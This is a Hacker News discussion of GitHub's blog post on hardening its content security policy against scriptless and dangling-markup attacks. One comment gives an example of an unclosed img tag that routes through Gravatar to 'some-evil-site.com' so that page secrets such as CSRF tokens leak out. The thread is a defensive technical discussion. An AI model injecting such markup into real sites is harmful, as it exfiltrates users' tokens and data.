7 ms·

GitHub's post-CSP journey

• jaredsohn 10y ago
  The article says CSP seven times in the first two paragraphs without saying what it stands for; it would be much more readable if they did. (It stands for content security policy for those wondering.)
  • wsh91 10y ago
    To that end, it might be worth spelling out in the title here. I got my hopes up thinking it was about https://en.wikipedia.org/wiki/Communicating_sequential_processes https://en.wikipedia.org/wiki/Communicating_sequential_proce....
    • sethammons 10y ago
      Ditto
      • ptoomey3 10y ago
        Apologies for that not being clear. Given I had linked to the original article in the first sentence, I took the perspective of people knowing which "CSP" I was talking about. I'll update the post in the morning to spell/link out to the first CSP reference.
        • skrebbel 10y ago
          If you ever have a post-Communicating Sequential Processes journey at GitHub, please do write a post! Most people I know are moving to something CSP based (say, Go channels) so it would be very cool to understand why someone would consciously decide to ditch the concept again, after a serious engineering effort.
        • ptoomey3 10y ago
          I've updated the post to spell out/link to a description of CSP upon first mention.
    • ptoomey3 10y ago
      Funny enough, I tried doing exactly that when I submitted the post to HN this morning: https://news.ycombinator.com/item?id=13437920 https://news.ycombinator.com/item?id=13437920. But, unfortunately, my submission wasn't the one to make the front page .
    • deleted 10y ago
      [deleted]
  • rbritton 10y ago
    There's even a tag for it: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/abbr https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ab...
  • deleted 10y ago
    [deleted]
  • dfc 10y ago
    At a certain point you need to set a baseline expectation of your audience in order to communicate effectively. Do you think they should also explain exploitation, img-src, the mechanics of parsing unmatched quotes, javascript or CSRF? The target audience of the article knows what CSP stands for and most likely has been reading the other entries along this journey.
    • Ericson2314 10y ago
      And I had thought it was communicating sequential processes for a second
      • rcfox 10y ago
        I was hoping it meant "constraint-satisfaction programming".
    • rcfox 10y ago
      I would expect them to expect their readers to look up concepts that are unfamiliar. Throwing around overloaded acronyms without definition makes that difficult.
    • tlrobinson 10y ago
      Anecdotally, I was aware of both Content Security Policy and Communicating Sequencial Processes, and first thought of the latter. I figured it out by the end of the first paragraph though.
      • lubomir 10y ago
        And then there's also Constraint Satisfaction Problem.
    • peteretep 10y ago
      You are getting downvoted because in complaining we are below your technical baseline, you've ironically revealed you're not familiar with the rather more interesting CSP.
  • db48x 10y ago
    Heh, I was slightly confused at first, then very confused when I got to "post-CSP exploitation". Trying to come up with a plausible meaning for that phrase is an interesting exercize.
  • davidgrenier 10y ago
    Well, I certainly upvoted a bunch of people here.
  • sb8244 10y ago
    The first sentence is a link to a blog post with an in depth introduction to what they are talking about. No child comment on here seems to have pointed it out. Surely that is acceptable considering the level of detail they go into in their original post?
  • ChoGGi 10y ago
    Well, it's obviously the Canadian Ski Patrol.
• niftich 10y ago
  A very detailed post which talks about their collaboration with security consulting firm Cure53 to identify various fairly novel exfiltration techniques, and attempt to adjust their Content-Security-Policy or some aspect of their application to try to mitigate it. This could be a great resource, and is certainly a valuable 'lessons learned'. But I was also overwhelmed. There's a quip that security is a losing battle, but that wasn't my takeaway -- rather, the knowledge space required to develop and host a web application that accepts user-generated content in a way that won't leak info apparently everywhere is getting too much for generalist developers working alone or in small teams.
  • chias 10y ago
    They're interesting and often-overlooked techniques, but are not novel. You can read a more about these sorts of attacks and other similar ones in 2011 writeup "Postcards from the post-XSS world"[0] [0] http://lcamtuf.coredump.cx/postxss/ http://lcamtuf.coredump.cx/postxss/
    • ptoomey3 10y ago
      Indeed, lcamtuf's article was a reference during this effort and was linked to in our CSP post last year: https://githubengineering.com/githubs-csp-journey/ https://githubengineering.com/githubs-csp-journey/
• whatnotests 10y ago
  Note: "CSP" = Content-Security-Policy as defined here: https://en.wikipedia.org/wiki/Content_Security_Policy https://en.wikipedia.org/wiki/Content_Security_Policy
• steffenweber 10y ago
  If all browsers sent the "Origin" HTTP header [1] with POST requests (such that web applications could rely on it) then CSRF [2] tokens mentioned in the article would become obsolete. You'd just have to check whether the "Origin" header sent by the browser is identical to your scheme + domain name (e.g. "https://www.example.com" https://www.example.com") and be done. Chrome and Safari have implemented the "Origin" header long ago but unfortunately Firefox [3] and Edge [4] have not yet done so. The "Origin" header is similar to the "Referer" header but never contains the path or query. Furthermore, CSRF protection requires it only for "POST" requests (i.e. "GET" requests are unaffected). So there is little incentive for an option disable it for privacy concerns. [1] https://tools.ietf.org/html/rfc6454 https://tools.ietf.org/html/rfc6454 [2] https://en.wikipedia.org/wiki/Cross-site_request_forgery https://en.wikipedia.org/wiki/Cross-site_request_forgery [3] https://bugzilla.mozilla.org/show_bug.cgi?id=446344 https://bugzilla.mozilla.org/show_bug.cgi?id=446344 [4] https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/10482384/ https://developer.microsoft.com/en-us/microsoft-edge/platfor... (filed by me)
  • ricardobeat 10y ago
    The Origin header is not as good to prevent CSRF since it's a known value. A CSRF token is a one-time value generated in the server, it's impossible to guess or get a valid one from the outside.
    • dividuum 10y ago
      Not sure I follow your reasoning: CSRF requires a browser, as that's where you'll find a logged-in user that you want to force into doing something without their knowledge. The network layer is already protected by HTTPS. Some browser plugin might modify the header, at which point the whole exercise is pointless anyway as you can't trust the client in that case. Happy to learn where I'm wrong.
    • steffenweber 10y ago
      CSRF protection is not about attacks from evil clients (you can easily spoof any header with the HTTP client library of your choice, of course). CSRF protection is about preventing innocent / well-behaving clients from being tricked into POSTing some data on behalf of their (logged-in) user.
• technion 10y ago
  CSP is more of a landmine than we give it credit for. It tripped up Troy Hunt: https://www.troyhunt.com/how-chromes-buggy-content-security-policy-implementation-cost-me-money/ https://www.troyhunt.com/how-chromes-buggy-content-security-... I had a very similar experience, and I'm still hunting for the specifics of the browser that caused it in my case.
• joshschreuder 10y ago
  Can someone explain more about how the Gravatar example would work? How would the attacker embed a dangling markup on Github.com? If they could do that, couldn't they just use a standard XSS attack by embedding arbitrary HTML?
  • pixdamix 10y ago
    CSP mitigates the risks of XSS attacks. If you look at : https://cspvalidator.org/#url=https://github.com https://cspvalidator.org/#url=https://github.com you'll see that the CSP policy directive defines the origins from which images can be loaded 'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com ; Previously, images could have been loaded from additional domains (gravatar) and could have been used to leak CSRF tokens.
    • laurent123456 10y ago
      What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party: https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f But GitHub is the one opening and closing the tag, probably in some kind of template: <img src="{gravatar_url}"> <p>secret</p> Which should result in this: <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f"> <p>secret</p> and not this: <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f <p>secret</p> Any idea why they are getting the latter?
      • scrollaway 10y ago
        They weren't getting the latter, they specifically went in there looking to mitigate what a theoretical content injection attack could do. > In a relatively unique project, we asked Cure53 to assess what an attacker could do, assuming a content injection bug in GitHub.com
      • ptoomey3 10y ago
• mwexler 10y ago
  While I'm not a security expert, seeing the various ways that someone can steal info from a site even after all the protections GitHub put into place was fascinating, and does bring back the old concern: if a site as large and respected as GitHub has to do all this work and still encounters exploits, what can an average person do who might run ad scripts, a tracking script, and a few helper scripts from various sites? And how can tools try to put in more protections for average folks (cough, wordpress)? If you liked this, btw, worth reading some content from their pentester https://cure53.de/ https://cure53.de/ which also had some interesting findings and links.
• tannhaeuser 10y ago
  Awesome article and thumbs up to github. I'm having great reservations towards CSP however. I think it breaks the web in a way that wouldn't have been necessary had we been a little bit more careful about HTML syntax rather than dismissing markup validation as an obsolete technique back when the vulgar "HTML 5 rocks" campaigns were in full swing. CSP spec drafts have been around forever but were never finalized. CSP basically blocks execution of JavaScript in script tags in content (as opposed to script in the header), as well as in content handler attributes (onclick and co.) by disabling those alltogether on a page. This totally breaks page composibility where you assemble content at the markup stream level from multiple sources, like, say on every single news aggregation site. The removal of scoped CSS styles from HTML similarly breaks composition. From Chrome's Content Security Policy page: [Blocking inline script] does, however, require you to write your code with a clean separation between content and behavior (which you should of course do anyway, right?) I think this comment is totally clueless wrt. what the Web is about. "Separation of concerns" is most certainly not a characteristic of the Web, and never has been. I'm sorry, but rather than using kludges such as CSP to turning the lights off with a broad brush, how about fixing HTML and JavaScript in the first place? (note my comment isn't addressed at github but at web standard comitees) [1]: https://developer.chrome.com/extensions/contentSecurityPolicy https://developer.chrome.com/extensions/contentSecurityPolic...
  • jerf 10y ago
    "I'm sorry, but rather than using kludges such as CSP to turning the lights off with a broad brush, how about fixing HTML and JavaScript in the first place?" OK... how? To be clear, I'm asking for an HN-comment level of detail, not a standards-body level of detail. I can't speak for everyone else on HN but I won't go over things with a fine-tooth comb, I'll only look at top-level issues. But I will at least point out that being able to casually float third-party content into any site that has a weakness to XSS or man-in-the-middle or vulnerabilities in any other third-party content in the website is pretty fundamental. The fundamental composition power of the web is too powerful and it is going to have to be cut back. Some of the obvious solutions like "whitelisting hashes of valid content" have their own problems, like how a lot of the scripts being included out there are deliberately not constant and that's their whole point in the first place.
• jerf 10y ago
  Tone: I assume GitHub knows what they are doing, and I ask this question because I have a hole in my understanding that I have a professional interest in making sure is filled, not because I'm trying to "gotcha!" anybody or be critical. This article clearly demonstrates they are trying hard and not ignorant. I don't understand why so much of this article is talking about dangling markup? While I highly recommend using the highest quality library you can get your hands on for this task, cleaning up user-supplied markup to at least be valid HTML is generally not that difficult. Cleaning up every last vector within that valid HTML is much harder and much more subtle; I have fought that fight myself, so I understand the bits about how awful the <plaintext> tag can be and so forth (and how how many other vectors there are for javascript, and how many vectors there are for loading content you didn't want loaded, and how many vectors there are for subtle leaks of information, etc., even within syntactically-valid HTML). But making syntactically-invalid HTML into syntactically-valid HTML that is at least not "dangling" is not that hard, and can be done reliably. So I assume I'm missing some sort of context here about why they are having so much trouble with this? What's the context where they can't run this sort of syntax cleaner over the user input?
  • ptoomey3 10y ago
    Yeah, the missing context is that we are talking about vectors where GitHub would not be sanitizing the input correctly. In other words, vectors that traditionally resulted in XSS. We do exactly as you say in places where we expect user controlled input. For example, all issue/pull request comments are Markdown. And, for security, we go to great lengths to ensure that we only accept a subset of HTML that is safe AND that the resulting HTML is well formed. But, as history has shown, XSS is more or less unavoidable. There are just too many places where it can occur for any application to 100% avoid it. This is at the heart of CSP. Given that history has shown that XSS was unavoidable, the idea was to add a browser feature as a second line of defense. So, the article is written from the perspective that traditional XSS is neutered (the whole "scripting" bit of XSS is gone) using CSP. So, given that, what might an attacker be able to do without injecting any JavaScript? This is the origin of "scriptless attacks". Dangling markup is the most popular technique for exploiting a scriptless attack. So, it isn't that GitHub would be failing to create well formed HTML. It would be a scenario where an attacker would traditionally like to have injected a `<script>` tag, but is no longer able, so they must go to the next best thing...dangling markup.